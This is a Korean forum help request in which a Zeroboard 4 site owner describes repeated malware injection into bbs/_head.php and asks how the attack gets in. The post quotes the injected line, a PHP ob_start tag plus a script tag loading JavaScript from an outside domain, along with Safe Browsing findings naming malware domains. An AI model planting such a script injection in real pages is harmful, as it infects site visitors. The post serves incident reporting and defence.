묻고답하기

인터넷을 많이 뒤져봤는데 뚜렷한 해결책을 못찾아서 여기에 질문을 올려봅니다.
(이미 해결책이 있는데 제가 잘 이해를 못한 것일 수도 있고요)


현재 제로보드4 버전을 사용해서 운영중인 홈페이지가 있습니다.

그런데 계속 악성코드가 삽입되어서 골머리를 썩고 있습니다.


bbs/_head.php 라는 파일의 가장 마지막줄에

<?ob_start();?><script src="http://www.wsart.net/bbs/data/js/common.js></script>

라는 내용이 삽입되어서

_head.php를 인클루드하고 있는 모든 페이지들이

영향을 받고 있습니다.

script태그의 src 내용은 매번 바뀝니다.


구글의 안전브라우징 진단검사는 아래와 같습니다.

Google이 사이트를 방문했을 때의 결과

지난 90일간 진행된 사이트 테스트에서 68개의 페이지 가운데 8개에서 사용자 동의 없이 악성 소프트웨어가 다운로드 및 설치된 것으로 확인되었습니다. Google이 사이트에 마지막으로 방문한 것은 2011-04-10이며, 의심되는 콘텐츠가 마지막으로 발견된 것은 2011-04-10입니다.

Malicious software includes 3 scripting exploit(s), 3 exploit(s). Successful infection resulted in an average of 4 new process(es) on the target machine.

wkmg.co.kr/sporam.com/을(를) 포함한 2개의 도메인에서 악성 소프트웨어를 호스팅하고 있습니다.

interbar.co.kr/을(를) 비롯한 1개의 도메인이 이 사이트 방문자에게 악성코드를 유포하는 중개 역할을 한 것으로 나타났습니다.

This site was hosted on 1 network(s) including AS3786 (ERX).



혹시 이 취약점이 어떤 방식으로 해서 들어오는것인지

그리고 해결법을 알고 계신분 있으신가요???
글쓴이 제목 최종 글
XE 공지 글 쓰기,삭제 운영방식 변경 공지 [16] 2019.03.05 by 남기남
웅솔몽둥이 XE 게시판 기본스킨 관련 문의입니다.  
꿀ㄹ ftp로 php수정  
왕왕대두 최근게시물 타겟설정(외부페이지) 도움좀 주세요.  
제주촌닭 위젯용 html 수정 문의합니다  
스유군 검정 레이아웃 스킨을 사용중입니다.  
왕왕대두 좀 도와주세요  
쮸야282 게시판의 웹진이나 겔러리 목록에서 이미지가 보이질 않아요  
철갑 exec_xml함수의 기능이 궁금합니다. [1] 2011.04.13 by 카르마
시우군 비회원이 글쓴 본문 닉네임 폰트 수정 어떻게 하나요?  
윤재석859 학습 중 차이점이 있어 문의 드려요.. [2] 2011.04.13 by 츄우양
120money 페이지에 오류가 있습니다 문제..  
klake0 관리자 로그인에서 존재하지 않는 아이디라고 나오는 이유가 뭐죠?  
최상순480 이슈트래커를 모바일버전으로 구현가능할까요?  
우리쌀 보안 취약점 해결 방법 [1] 2011.04.13 by 공듀
쿠키1 알트태그 중지방법  
강태원929 게시판 첨부파일 100%시 시스템 다운 [7] 2011.04.13 by 백성찬
시우군 확장변수 관리자만 볼수있게 못하나요? [1] 2011.04.13 by 카르마
Lee,동준 통합검색결과가 안나옵니다ㅠㅠ [1] 2011.04.13 by 카르마
장제 상위 메뉴 클릭시 하위 게시판 여러개 생성  
TheFeeling 최신게시물중 자동슬라이등 방식. [2] 2011.04.13 by 한마음^^
바스 xe 업 이후 이미지 표시가 안됩니다. 그외..  
woongb 텍스타일 site ID접속으로 만들면 방문자수 계속 0으로 뜨는 이유? [1] 2011.04.13 by 카르마
Scripter 첨부파일 경로를 알수있는 방법이 없을까요? [1] 2011.04.13 by 카르마
redred 가상 사이트가 뭔가요?  
눈팅80 로그인 시 새로운 쪽지가 있다는것을 알림창으로 팝업시키고 싶습니다 [1] 2011.04.13 by 한마음^^
희서니 최근게시물  
왕왕대두 게시판, 공지사항 내용보기 두개질문입니다.  
byoojoo 현재 제로보드4로 홈페이지 운영중인데 XE를 바로 깔아도 되나요? [1] 2011.04.12 by 카르마
시우군 모바일에서는 미리 작성한 글이 안보이네요  
츄우양 XE코어와 게시판을 업데이트하고싶어요. [1] 2011.04.12 by 한마음^^